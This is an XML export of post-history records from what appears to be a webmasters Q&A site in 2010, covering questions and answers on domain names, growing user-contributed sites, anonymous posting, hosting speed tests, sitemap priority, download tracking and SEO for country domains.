  <row Id="5178" PostHistoryTypeId="5" PostId="2669" RevisionGUID="4c1cf6f4-2089-4595-9a5b-34e2b0725440" CreationDate="2010-08-30T13:50:52.873" UserId="480" Comment="added 258 characters in body" Text="From the phrases:&#xD;&#xA;&#xD;&#xA;- &quot;All change please&quot;&#xD;&#xA;- &quot;One small step for man, one giant leap for mankind&quot;&#xD;&#xA;- &quot;Many hands make light work&quot;&#xD;&#xA;&#xD;&#xA;To the words:&#xD;&#xA;&#xD;&#xA;- [book][1]&#xD;&#xA;- [change][2]&#xD;&#xA;- [encyclopedia][3]&#xD;&#xA;&#xD;&#xA;To the (available) domain names:&#xD;&#xA;&#xD;&#xA;- www.amorphesaurus.com from amorphous and thesaurus (sounds a bit like a dinosaur and thesaurus is just poor)&#xD;&#xA;- www.amorphmana.co from amorphous and almanac&#xD;&#xA;- www.refinelopedia.com from refinement and encyclopedia&#xD;&#xA;&#xD;&#xA;If its less about the convention wiki and more about the development of pages then:&#xD;&#xA;&#xD;&#xA;- www.revdevpages.com from revised, developed pages&#xD;&#xA;&#xD;&#xA;Or more tasteful:&#xD;&#xA;&#xD;&#xA;- www.varifolio.com from variation and folio&#xD;&#xA;- www.diversiopus.com from diversity and opus&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://thesaurus.com/browse/book&#xD;&#xA;  [2]: http://thesaurus.com/browse/change&#xD;&#xA;  [3]: http://thesaurus.com/browse/encyclopedia" />
  <row Id="5179" PostHistoryTypeId="5" PostId="2669" RevisionGUID="7bb0d61b-bbcc-4097-8c5b-07bdd6829fce" CreationDate="2010-08-30T13:59:19.447" UserId="480" Comment="added 4 characters in body" Text="From the phrases:&#xD;&#xA;&#xD;&#xA;- &quot;All change please&quot;&#xD;&#xA;- &quot;One small step for man, one giant leap for mankind&quot;&#xD;&#xA;- &quot;Many hands make light work&quot;&#xD;&#xA;&#xD;&#xA;To the words:&#xD;&#xA;&#xD;&#xA;- [book][1]&#xD;&#xA;- [change][2]&#xD;&#xA;- [encyclopedia][3]&#xD;&#xA;&#xD;&#xA;To the (available) domain names:&#xD;&#xA;&#xD;&#xA;- www.amorphesaurus.com from amorphous and thesaurus (sounds a bit like a dinosaur and thesaurus is just poor)&#xD;&#xA;- www.amorphmana.co from amorphous and almanac&#xD;&#xA;- www.refinelopedia.com from refinement and encyclopedia&#xD;&#xA;&#xD;&#xA;If its less about the conventional wiki and more about the development of pages then:&#xD;&#xA;&#xD;&#xA;- www.revdevpages.com from revised, developed pages&#xD;&#xA;&#xD;&#xA;Or more tastefully:&#xD;&#xA;&#xD;&#xA;- www.varifolio.com from variation and folio&#xD;&#xA;- www.diversiopus.com from diversity and opus&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://thesaurus.com/browse/book&#xD;&#xA;  [2]: http://thesaurus.com/browse/change&#xD;&#xA;  [3]: http://thesaurus.com/browse/encyclopedia" />
  <row Id="5180" PostHistoryTypeId="16" PostId="2596" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-30T14:01:58.843" UserId="55" />
  <row Id="5181" PostHistoryTypeId="16" PostId="2600" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-30T14:01:58.843" UserId="55" />
  <row Id="5182" PostHistoryTypeId="16" PostId="2605" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-30T14:01:58.843" UserId="55" />
  <row Id="5183" PostHistoryTypeId="16" PostId="2623" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-30T14:01:58.843" UserId="55" />
  <row Id="5184" PostHistoryTypeId="16" PostId="2630" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-30T14:01:58.843" UserId="55" />
  <row Id="5185" PostHistoryTypeId="16" PostId="2669" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-30T14:01:58.843" UserId="55" />
  <row Id="5186" PostHistoryTypeId="16" PostId="2595" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-30T14:01:58.843" UserId="55" />
  <row Id="5187" PostHistoryTypeId="2" PostId="2670" RevisionGUID="502a5464-7533-4ee1-b458-6795b45b47ca" CreationDate="2010-08-30T14:22:08.713" UserId="745" Text="The character encoding of your content management system is one issue that comes to mind. Also, if you're promoting your website, a lot of URL validation inputs will probably break on your URL." />
  <row Id="5188" PostHistoryTypeId="2" PostId="2671" RevisionGUID="e1e1cbfc-421e-4d39-ab13-ff475240e89b" CreationDate="2010-08-30T16:33:45.527" UserId="1424" Text="Could you explain what the differences between&#xD;&#xA;&#xD;&#xA;1) Ideal Easy ABN/Amro&#xD;&#xA;&#xD;&#xA;2) Ideal Lite&#xD;&#xA;&#xD;&#xA;3) ING iDEAL Advanced, Rabobank iDEAL Professional or ABN iDEAL Zelfbouw.&#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;" />
  <row Id="5189" PostHistoryTypeId="1" PostId="2671" RevisionGUID="e1e1cbfc-421e-4d39-ab13-ff475240e89b" CreationDate="2010-08-30T16:33:45.527" UserId="1424" Text="iDeal: what are the differences between these three categories ?" />
  <row Id="5190" PostHistoryTypeId="3" PostId="2671" RevisionGUID="e1e1cbfc-421e-4d39-ab13-ff475240e89b" CreationDate="2010-08-30T16:33:45.527" UserId="1424" Text="&lt;ecommerce&gt;&lt;shopping-cart&gt;" />
  <row Id="5192" PostHistoryTypeId="2" PostId="2672" RevisionGUID="86b2dc4d-af47-40bb-ae44-50d29cdb2d42" CreationDate="2010-08-30T16:43:33.753" UserId="1454" Text="By 'chicken and egg content' I'm referring to user-contributed/crowdsourced content - sites like StackOverflow / StackExchange.&#xD;&#xA;&#xD;&#xA;When SO launched, Jeff and Joel were essentially able to 'cheat' the system by bringing in a massive ready-made audience from their respective blogs, but this isn't really an option for most people.&#xD;&#xA;&#xD;&#xA;Reddit.com launched, from what I can tell, via a combination of sources: &#xD;&#xA;* They were among the first batch of YCombinator startups&#xD;&#xA;* Alexis and Steve ghost-contributed a lot of content to get the ball rolling&#xD;&#xA;* There was a bit of controversy when they switched from Lisp to Python for their backend, and this attracted fans of both languages/environments.&#xD;&#xA;&#xD;&#xA;Now, when reddit launched, it wasn't completely like it is today. At first, reddit didn't have comments, it was just a bunch of links to various sites - essentially, a user-driven portal.&#xD;&#xA;&#xD;&#xA;I have a similar concept in mind, and I *could* bootstrap the site with ghosted contributions, but it would only take me so far. The real value of the site, much like S[OFUE], comes from user contributed value-add content, and I could never generate enough of such meaningful content to help in any meaningful way.&#xD;&#xA;&#xD;&#xA;I've considered sending emails to relevant bloggers and posting on forums asking for their input / minor contribution, but this feels pretty disingenuous to me, since for the most part I don't follow these people regularly, and likely don't spend much time on any of these forums. &#xD;&#xA;&#xD;&#xA;Long story short - what are some great ways to promote a site (and for free, since I'm quite broke...), and entice experts to contribute early content?" />
  <row Id="5193" PostHistoryTypeId="1" PostId="2672" RevisionGUID="86b2dc4d-af47-40bb-ae44-50d29cdb2d42" CreationDate="2010-08-30T16:43:33.753" UserId="1454" Text="Best Ways to Develop &quot;Chicken and Egg Content&quot; sites?" />
  <row Id="5194" PostHistoryTypeId="3" PostId="2672" RevisionGUID="86b2dc4d-af47-40bb-ae44-50d29cdb2d42" CreationDate="2010-08-30T16:43:33.753" UserId="1454" Text="&lt;advertising&gt;&lt;traffic&gt;&lt;content&gt;&lt;users&gt;" />
  <row Id="5195" PostHistoryTypeId="2" PostId="2673" RevisionGUID="466890b1-84e5-4e65-9b0f-da555a992884" CreationDate="2010-08-30T17:05:24.230" UserId="1757" Text="This is an interesting question, but probably not one with a simple answer. I think, unless you're already well-connected and well-known from something else, it's just down to having a good idea and executing it well, and then from there you simply have to trust in free word-of-mouth promotion (if you don't have a marketing budget).&#xD;&#xA;&#xD;&#xA;Sites like Tutsplus actually pay professionals in those fields to contribute content to get the ball rolling and attract other users. If you don't have that budget, then hopefully you have a lot of friends who can help.&#xD;&#xA;&#xD;&#xA;I mean, it's the same problem as starting any sort of online community, whether it be a link aggregator, a social networking site, a forum, or some other social application. If you can't pay to promote your site, your options are incredibly limited. But given the viral nature of the web and blogosphere, a truly great idea will inevitably attract a lot of attention and the site will promote itself.&#xD;&#xA;&#xD;&#xA;Now, it certainly doesn't hurt to have a &quot;tell a friend&quot; / &quot;e-mail this&quot; / &quot;add to facebook&quot; / &quot;reddit&quot; / &quot;digg this&quot; link. And if you're less adverse to spammy/shady marketing tactics, you could do what the myspace founders did and go to other competing online communities and promote yourself there and try to steal their users. But the founders of myspace were spammers and telemarketers (more precisely, they sold &quot;lists&quot; to spammers and telemarketers) before they launched myspace, so naturally they were willing to stoop to whatever levels to promote their site." />
  <row Id="5196" PostHistoryTypeId="2" PostId="2674" RevisionGUID="9de96402-e905-46ce-b1e8-bfd3d00269bf" CreationDate="2010-08-30T19:58:46.953" UserId="1074" Text="When you're at bottom, I believe the only way to move yourself up is to outwork the competition.  It's not the fun or easy answer.  But when money isn't readily available, you have to overcome your limitations by working harder.&#xD;&#xA;&#xD;&#xA;To translate this idea, it's time for &lt;&lt;you&gt;&gt; to start writing, or to find people who can help at no cost.  If you have a great way to deliver this content, then there is no shame asking &quot;experts&quot; such as prolific bloggers to help, especially if you &quot;compensate&quot; them with reciprocal links.  Content (plus well thought-out SEO) will in time bring viewers and inbound links, which will give you more exposure, which will lead to more inbound users, who generate more content....  The better the content, the faster the inbound links, user count, and user-generated content will build up.  As you make money, reinvest it in seeding more quality content, and once you believe there's enough to support your base, adwords.  Also, never stop self-promoting, cross posting, and link gathering....even if the site becomes wildly successful.&#xD;&#xA;&#xD;&#xA;Avoid the lure of throwing money to make things go faster unless it's so close to a sure thing that you couldn't possibly suffer.  My company is struggling right now in a similar phase....we are building a quality product with the money that comes in from a few beta clients and other development jobs...money is tight, days are long.  There's a firm across town that's taking Venture Cap like it's going out of style....swank offices, huge payroll, etc.  If they succeed, the company's value will be with those who have no other stake than putting up money.  More likely, the people with money will get sick of sinking money into a black hole and turn the faucet off...and they'll go away.  In 10 years, we'll own our code, our building, our destiny....and likely all be in very good shape.  In your case, not only could you lose the company, but it could leave you in financial ruin if the site tanks and you have significant debt tied up trying to make it go.&#xD;&#xA;&#xD;&#xA;Bottom line--great sites rarely just &quot;happen&quot;  Great ideas make great success.  And hard, tedious work is what ultimately makes most great ideas happen." />
  <row Id="5197" PostHistoryTypeId="2" PostId="2675" RevisionGUID="45bbd513-dbf7-4750-9dd9-9c86fa335164" CreationDate="2010-08-30T20:07:17.257" UserId="1039" Text="On Stackoverflow/Stackexchange, users are allowed to add posts without requiring login, just wondering what should be considered before allowing this kind behavior on a site?&#xD;&#xA;&#xD;&#xA;Couple of things spring to mind...&#xD;&#xA;&#xD;&#xA; - Recording the users IP address&#xD;&#xA; - Limiting number of anonymous posts from a single IP&#xD;&#xA;&#xD;&#xA;Are there any other things to consider?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5198" PostHistoryTypeId="1" PostId="2675" RevisionGUID="45bbd513-dbf7-4750-9dd9-9c86fa335164" CreationDate="2010-08-30T20:07:17.257" UserId="1039" Text="Allowing users to post without logging in" />
  <row Id="5199" PostHistoryTypeId="3" PostId="2675" RevisionGUID="45bbd513-dbf7-4750-9dd9-9c86fa335164" CreationDate="2010-08-30T20:07:17.257" UserId="1039" Text="&lt;authentication&gt;&lt;login&gt;" />
  <row Id="5200" PostHistoryTypeId="2" PostId="2676" RevisionGUID="2e4c3b04-e208-4489-8a26-0dc4e2aa40f5" CreationDate="2010-08-30T20:35:53.370" UserId="745" Text="The biggest thing that comes to mind is, &quot;How are you going to handle moderation?&quot; StackExchange avoids a lot of spam because it is self-moderated. However, if you don't allow your users to moderate or you don't have users willing to moderate, the onus falls on you. Moderation becomes much easier if you require authentication." />
  <row Id="5201" PostHistoryTypeId="2" PostId="2677" RevisionGUID="d1bdeaf2-9366-47bc-8cf2-0e4433b1e90f" CreationDate="2010-08-30T20:38:22.517" UserId="1108" Text="Preventing cross-site scripting attacks by &quot;escaping&quot; the contents (i.e. prevent any HTML/script being interpreted as such when you serve them back up) would help stop abuse.&#xD;&#xA;Also, if you allow links in comments then including the rel=&quot;nofollow&quot; HTML attribute negates the value of people doing so just to game search engines." />
  <row Id="5202" PostHistoryTypeId="5" PostId="2677" RevisionGUID="94a2499c-2511-4fe0-ad9c-f68835b2f095" CreationDate="2010-08-30T20:50:35.360" UserId="1108" Comment="added 211 characters in body" Text="Preventing cross-site scripting attacks by &quot;escaping&quot; the contents (i.e. prevent any HTML/script being interpreted as such when you serve them back up) would help stop abuse.&#xD;&#xA;Also, if you allow links in comments then including the rel=&quot;nofollow&quot; HTML attribute negates the value of people doing so just to game search engines.&#xD;&#xA;&#xD;&#xA;You could &quot;teach&quot; the site to filter out undesirable comments in the same way that modern email spam filtering works - see [Paul Graham's writings on this][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://paulgraham.com/antispam.html" />
  <row Id="5203" PostHistoryTypeId="2" PostId="2678" RevisionGUID="facfb0d9-cd6e-445e-8348-dd19bdab6b84" CreationDate="2010-08-30T21:15:20.183" UserId="709" Text="1. Regularly post great content, obtained by whatever means are available to you.  There's nothing wrong with ghost writers.  They give you better control to define what you're site is about.&#xD;&#xA;&#xD;&#xA;2. Regularly promote the site, by whatever means are available to you.  Don't forget the routes traditionally used by any new product; eg newspaper, magazine, journal articles and paid advertising, presentations and demos to family, friends, business associates, clubs, etc.&#xD;&#xA;&#xD;&#xA;Very important - Step 1 comes before step 2!  And it's got to be done over and over and over again!" />
  <row Id="5204" PostHistoryTypeId="2" PostId="2679" RevisionGUID="76886550-be58-4e0f-8c30-a525bfb3415b" CreationDate="2010-08-30T21:26:40.713" UserId="709" Text="When I read &quot;*... that I would like to approach to build a web portal for them ..*.&quot; the red flags went up.  They haven't come to you (or your competitors).  They don't know they need a web portal.  My experience is that people aren't interested in hearing about solutions to problems they don't know exist.&#xD;&#xA;&#xD;&#xA;Instead, try going to them and asking them what problems they have that could possibly be solved with some programming.  Then develop a proposal to solve that problem.  It might be something entirely different than a web portal." />
  <row Id="5205" PostHistoryTypeId="10" PostId="2671" RevisionGUID="ee237629-9fd4-48be-9bd6-08f5fe8e411d" CreationDate="2010-08-30T21:27:46.040" UserId="138" CloseReasonId="2" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="5206" PostHistoryTypeId="11" PostId="2671" RevisionGUID="7d2b32fe-292d-4abe-9cf5-b5c4b1fe532f" CreationDate="2010-08-30T21:28:10.093" UserId="138" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="5207" PostHistoryTypeId="2" PostId="2680" RevisionGUID="61a59259-65ed-457a-a3df-e81d6c6537f0" CreationDate="2010-08-30T22:32:03.227" UserId="871" Text="[Captcha][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/CAPTCHA" />
  <row Id="5208" PostHistoryTypeId="2" PostId="2681" RevisionGUID="11f1fca7-9fa9-4990-ac84-c1039609987c" CreationDate="2010-08-30T23:42:33.987" UserId="1064" Text="Depending upon what type of site you host and the content you allow within anonymous posts, you might find yourself dealing with botnets, spammers, and trolls hiding behind free proxies.&#xD;&#xA;&#xD;&#xA;Requiring authentication and verifying the unique e-mail address provided on new account creation slows down most of the malicious activity... (and slowing it down is as much as you can hope for, really)" />
  <row Id="5209" PostHistoryTypeId="2" PostId="2682" RevisionGUID="732c7ee2-1fd9-4b8a-b8bf-fb5417732381" CreationDate="2010-08-31T03:13:03.687" UserId="1293" Text="I suggest you start by finding someone in this &quot;community&quot; to talk to and learn what they want and need. &#xD;&#xA;&#xD;&#xA;It's much easier to make money if you identify people who currently want something and are willing to pay someone who will give it to them. Trying to talk people into paying for something they don't understand is really really tough.&#xD;&#xA;&#xD;&#xA;If you really want to build a web portal, don't bother trying to talk anyone else into it, just build the thing and work like crazy to make it valuable and useful to people, and *then*, after it's got value to people, can/should you start thinking about monetizing it with ads or memberships or whatever. " />
  <row Id="5210" PostHistoryTypeId="2" PostId="2683" RevisionGUID="3d404286-2a1a-438a-8e38-1e713bc3cd67" CreationDate="2010-08-31T05:10:54.413" UserId="246" Text="Are there any sites to test the speed of your hosting?  I know there are sites that will tell you why your site is slow, e.g. - YSlow, etc., but how about the speed of bandwidth you get from your hosting provider?" />
  <row Id="5211" PostHistoryTypeId="1" PostId="2683" RevisionGUID="3d404286-2a1a-438a-8e38-1e713bc3cd67" CreationDate="2010-08-31T05:10:54.413" UserId="246" Text="Hosting speed tests?" />
  <row Id="5212" PostHistoryTypeId="3" PostId="2683" RevisionGUID="3d404286-2a1a-438a-8e38-1e713bc3cd67" CreationDate="2010-08-31T05:10:54.413" UserId="246" Text="&lt;web-hosting&gt;&lt;speed&gt;" />
  <row Id="5213" PostHistoryTypeId="2" PostId="2684" RevisionGUID="358e13b6-51bd-482c-9b60-0b87054bb4b5" CreationDate="2010-08-31T05:19:41.867" UserId="480" Text="The Net tab of the Firebug console (remember to disable browser cache).&#xD;&#xA;&#xD;&#xA;Resources view of the Web Developer Tools in Chrome/Opera.&#xD;&#xA;&#xD;&#xA;[Fiddler][1].&#xD;&#xA;&#xD;&#xA;[HTTP Watch][2].&#xD;&#xA;&#xD;&#xA;[WebPageTest][3].&#xD;&#xA;&#xD;&#xA;[Gomez][4].&#xD;&#xA;&#xD;&#xA;We use WebPageTest and Gomez for server tuning, Fiddler if there are any hard to diagnose problems, then the rest for front-end experience testing.&#xD;&#xA;&#xD;&#xA;Once you have the level of concurrency and page-views a day the Apache [ab][5] benchmark/stress test tool helps.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fiddler2.com/fiddler2/&#xD;&#xA;  [2]: http://www.httpwatch.com/&#xD;&#xA;  [3]: http://webpagetest.org&#xD;&#xA;  [4]: http://gomez.com/&#xD;&#xA;  [5]: http://httpd.apache.org/docs/2.0/programs/ab.html" />
  <row Id="5214" PostHistoryTypeId="2" PostId="2685" RevisionGUID="21f390f7-9f72-4114-9c39-7a9a0c50d391" CreationDate="2010-08-31T06:28:13.183" UserId="1786" Text="I'm not sure if this belongs here, superuser or stackoverflow&#xD;&#xA;&#xD;&#xA;I'm using virtual domains, which means that www.company.com has one template www.community.com has another template user accounts are shared&#xD;&#xA;&#xD;&#xA;the site is also in 2 languages&#xD;&#xA;&#xD;&#xA;now there is a common global Menu navigation and some links should be on the company.com url and some on the community.com url. however menu links stay on the current domain I'm on for example: 1. i'm on company.com/de/about 2. click on forum link 3. want to land on community.com/de/forum&#xD;&#xA;&#xD;&#xA;however I land on company.com/de/forum but i don't want to use &quot;external links&quot; because if I am on community.com/en/forum and click on about link i need the url to be company.com/en/about so the urls still need to be dynamic for language support.&#xD;&#xA;&#xD;&#xA;In other words I want to be able to set the base url of any menu item no matter what component, where should I start?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;" />
  <row Id="5215" PostHistoryTypeId="1" PostId="2685" RevisionGUID="21f390f7-9f72-4114-9c39-7a9a0c50d391" CreationDate="2010-08-31T06:28:13.183" UserId="1786" Text="Set the base url of any menu item in Joomla" />
  <row Id="5216" PostHistoryTypeId="3" PostId="2685" RevisionGUID="21f390f7-9f72-4114-9c39-7a9a0c50d391" CreationDate="2010-08-31T06:28:13.183" UserId="1786" Text="&lt;url&gt;&lt;plugin&gt;" />
  <row Id="5217" PostHistoryTypeId="2" PostId="2686" RevisionGUID="6b4ee24b-dd38-46d8-9fbc-0976c53fa95d" CreationDate="2010-08-31T08:43:42.913" UserId="1703" Text="Try using the component [ReReplacer][1]. It will allow you to replace certain urls to their full urls. In this case you could ensure that all * /en/ * point to one domain while all * /de/ * point to the other. It's not the most ideal solution but it has helped me out where I use a SSL certificate for specific pages only (not menus) where otherwise I would have had no solution.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.nonumber.nl/extensions/rereplacer" />
  <row Id="5218" PostHistoryTypeId="2" PostId="2687" RevisionGUID="a31946eb-d793-4fe7-acb8-394572598254" CreationDate="2010-08-31T09:12:13.280" UserId="1788" Text="I have a content based website and I'm in the process of creating a sitemap.xml file. I was wondering if it would be best to give high priority to tag urls or to post urls. Has anyone experimented with it ? What will give you better rankings in google and eventually bring in more visitors ?" />
  <row Id="5219" PostHistoryTypeId="1" PostId="2687" RevisionGUID="a31946eb-d793-4fe7-acb8-394572598254" CreationDate="2010-08-31T09:12:13.280" UserId="1788" Text="Priority of tags vs posts in a sitemap.xml file" />
  <row Id="5220" PostHistoryTypeId="3" PostId="2687" RevisionGUID="a31946eb-d793-4fe7-acb8-394572598254" CreationDate="2010-08-31T09:12:13.280" UserId="1788" Text="&lt;seo&gt;&lt;sitemap&gt;" />
  <row Id="5221" PostHistoryTypeId="2" PostId="2688" RevisionGUID="b6590f90-7784-478b-86f2-16b91facd70a" CreationDate="2010-08-31T10:12:53.493" UserId="233" Text="I'm assuming that by &quot;tag URLs&quot; you mean a kind of category page, like [a tag page][1] on Pro Webmasters. And by &quot;post URLs&quot; you mean blog posts etc, like [a question page][2] on Pro Webmasters.&#xD;&#xA;&#xD;&#xA;In which case, it's the *posts* every time. The posts have more content, are more unique, and generally &quot;static&quot; (the content doesn't change rapidly). Whereas tag pages are just lists of other content, contain very little unique themselves, and change rapidly as you add more posts.&#xD;&#xA;&#xD;&#xA;Look at the types of content search engines return for your queries. It's almost always a static-ish content page, not categories or generic pages like that. I always give priority &quot;1.0&quot; to all post/content pages then scale down for other pages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/tagged/seo&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/2687/priority-of-tags-vs-posts-in-a-sitemap-xml-file" />
  <row Id="5222" PostHistoryTypeId="2" PostId="2689" RevisionGUID="f10fdde3-64fa-485a-a4e1-6cbead0eb568" CreationDate="2010-08-31T11:03:43.247" UserId="1128" Text="One of my Clients wan't to distribute there monthly print-magazine also as free PDF download. Similar to [HackerMonthly][1]. We are currently not using any CMS so we are open to every solution.&#xD;&#xA;&#xD;&#xA;I could be done with GoogleAnalytics if I specifie a separate Goal for every file that will be avalabil but I hope not having to go there.&#xD;&#xA;&#xD;&#xA;Important statistic would be:&#xD;&#xA;&#xD;&#xA; - # of Downloads per File&#xD;&#xA; - Geographic region of the downloader&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://hackermonthly.com&#xD;&#xA;&#xD;&#xA;moderator: add tag &quot;file-distribution&quot; if you consider it appropriated" />
  <row Id="5223" PostHistoryTypeId="1" PostId="2689" RevisionGUID="f10fdde3-64fa-485a-a4e1-6cbead0eb568" CreationDate="2010-08-31T11:03:43.247" UserId="1128" Text="How to Distribute File and get Download Statistics?" />
  <row Id="5224" PostHistoryTypeId="3" PostId="2689" RevisionGUID="f10fdde3-64fa-485a-a4e1-6cbead0eb568" CreationDate="2010-08-31T11:03:43.247" UserId="1128" Text="&lt;statistics&gt;" />
  <row Id="5225" PostHistoryTypeId="2" PostId="2690" RevisionGUID="abb19704-4976-4dbb-b2c7-d00e8774b616" CreationDate="2010-08-31T11:49:38.367" UserId="221" Text="We had a similar problem (although we are not interested in geographic data).&#xD;&#xA;&#xD;&#xA;What we wound up doing was writing a proxy for the documents. I.e. when you request `http://example.com/articles/document.pdf` this is actually a servlet that resolves the document name to an actual PDF, fetches the actual document and returns it to the user.&#xD;&#xA;&#xD;&#xA;The advantage of this is that we can, at this point, log that the file was requested, who requested it and (very important for us) if they should be allowed to have it.&#xD;&#xA;&#xD;&#xA;With this set up there is no way to access the actual PDF without going through this service, meaning that we can accurately record each request. It is however resource heavy as the PDF is read/written for each request. " />
  <row Id="5226" PostHistoryTypeId="2" PostId="2691" RevisionGUID="4d2185c1-0dad-4cdf-9d3a-29948050b6ff" CreationDate="2010-08-31T11:50:25.527" UserId="1253" Text="You could keep track of number of downloads per file simply by feeding the file through a server side script in the language of your choosing as opposed to linking directly to the file. By doing it this way every time the file is requested you can log it, and information about who is downloading it, in a database. [See this answer for an example of this in PH][1]P.&#xD;&#xA;&#xD;&#xA;To learn the geographic location you will need to use a [GeoIPService][2] to translate their IP into a Geolocation. Then simply save that information with your download information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/2628/permissions-for-serving-up-temporary-files/2635#2635&#xD;&#xA;  [2]: http://www.webservicex.net/WS/WSDetails.aspx?WSID=64&amp;CATID=12" />
  <row Id="5227" PostHistoryTypeId="2" PostId="2692" RevisionGUID="84ca7b30-3784-4532-bff7-905112f2c381" CreationDate="2010-08-31T11:55:37.587" UserId="1253" Text="FYI, priority is merely a *suggestion* and does not mean that those pages will be crawled any faster or given any priority when ranking pages. It definitely will not improve their rankings. Remember, pages are ranked on their **relevance** for any given search term, not whether you say they are important or not." />
  <row Id="5228" PostHistoryTypeId="2" PostId="2693" RevisionGUID="5cb1442b-44e3-4193-bdf0-554b6dc5b373" CreationDate="2010-08-31T12:18:14.960" UserId="711" Text="Google generally uses the &quot;priority&quot; values in Sitemap files as hints for crawling and indexing, not for ranking. In general, Google recommends the following for &quot;priority&quot;:&#xD;&#xA;&#xD;&#xA;* Don't use simple automated metrics (eg &quot;PageRank&quot; or similar) to determine the &quot;priority&quot; value. Especially if it's something which Google can determine on their own, it makes little sense to reuse that for &quot;priority&quot;.&#xD;&#xA;* If you can't specify a value, don't use a default placeholder like 0.5 or 1.0 (it's optional, so you can just not include it in the Sitemap file)&#xD;&#xA;&#xD;&#xA;Personally, I would not spend too much time worrying about what kind of values you can use there. If you're not sure, I would just submit the Sitemap files without &quot;priority&quot;. " />
  <row Id="5229" PostHistoryTypeId="2" PostId="2694" RevisionGUID="a5d7a7a7-950b-4320-92b5-8acb0ddb19a8" CreationDate="2010-08-31T12:28:00.303" UserId="711" Text="Search engines generally do not have any problems with IDNs (I can't speak for the others, but at least that's the case for Google). Apart from issues on your side (maintenance, etc) and on the user side (browser issues - which are luckily going away as more users have modern browsers), I don't see much of a problem. &#xD;&#xA;&#xD;&#xA;Some of the more general and only indirectly search engine related things that come to mind are:&#xD;&#xA;&#xD;&#xA;* Some users may have trouble linking to your content, especially if they don't have the right keyboard layout, so it is generally a good idea to provide an easy way for users to copy &amp; paste a link for reuse. If you are providing a HTML snippet, make sure you use the punycode version of the domain name so that you don't have issues with page encodings. &#xD;&#xA;* Sometimes you may want to use multiple domain names to catch typos (eg. timarit.is vs tímarit.is). If you do that, make sure to pick a preferred domain name and use site-wide 301 redirects to that domain name. &#xD;&#xA;* If you use non-7-bit-ASCII in path, file or query parameters, make sure to use UTF-8 for that. Also make sure that these are encoded properly for link snippets (see first point). " />
  <row Id="5230" PostHistoryTypeId="2" PostId="2695" RevisionGUID="a1fee58d-9f74-4bb2-9722-e3c353cd6f61" CreationDate="2010-08-31T12:55:33.937" UserId="1789" Text="I want to build my own personal website. Nothing very fancy, about 5-6 pages with a blog, about page,a page for my pictures and a few more pages of content mostly about what I am &#xD;&#xA;interested in ( programming, photography,family stuff etc).&#xD;&#xA;&#xD;&#xA;I feel CMS System is overkill for what  I am attempting to do....but not too sure.&#xD;&#xA;I am quite familiar with ASP.Net and C#, so I was thinking I can crack open visual web developer express and do the site with that from scratch. &#xD;&#xA;&#xD;&#xA;- is that an approach that is recommended ( maybe a few years down the line I might be regretting not using a CMS system to start with ).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- What sites can you point a beginner web site developer to learn about the various things required for building a  web site ( i don't mean technical things like HTML/CSS etc, but all the other planning stuff/design stuff/SEO stuff )&#xD;&#xA;&#xD;&#xA;- I don;t think i will need a Database to start with, but how far can i go without one ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance for your valuable inputs.&#xD;&#xA; " />
  <row Id="5231" PostHistoryTypeId="1" PostId="2695" RevisionGUID="a1fee58d-9f74-4bb2-9722-e3c353cd6f61" CreationDate="2010-08-31T12:55:33.937" UserId="1789" Text="Beginning a Personal Web Site " />
  <row Id="5232" PostHistoryTypeId="3" PostId="2695" RevisionGUID="a1fee58d-9f74-4bb2-9722-e3c353cd6f61" CreationDate="2010-08-31T12:55:33.937" UserId="1789" Text="&lt;web-development&gt;&lt;asp.net&gt;&lt;learning&gt;" />
  <row Id="5233" PostHistoryTypeId="2" PostId="2696" RevisionGUID="b862f8d0-72d2-4fb1-8cb6-bbc1c43de68a" CreationDate="2010-08-31T13:01:18.953" UserId="1791" Text="I currently have a web site domain.com. This is my primary site. i want to get search results in the uk and i am considering purchasing a domain.co.uk. This will be an empty site which will 301 the user to the primary domain.com&#xD;&#xA;&#xD;&#xA;Is this bad for SEO?&#xD;&#xA;&#xD;&#xA;Also, are there better ways of implementing such features?&#xD;&#xA;&#xD;&#xA;Thanks in advance&#xD;&#xA;" />
  <row Id="5234" PostHistoryTypeId="1" PostId="2696" RevisionGUID="b862f8d0-72d2-4fb1-8cb6-bbc1c43de68a" CreationDate="2010-08-31T13:01:18.953" UserId="1791" Text="SEO domain.com and domain.co.uk" />
  <row Id="5235" PostHistoryTypeId="3" PostId="2696" RevisionGUID="b862f8d0-72d2-4fb1-8cb6-bbc1c43de68a" CreationDate="2010-08-31T13:01:18.953" UserId="1791" Text="&lt;seo&gt;&lt;domains&gt;" />
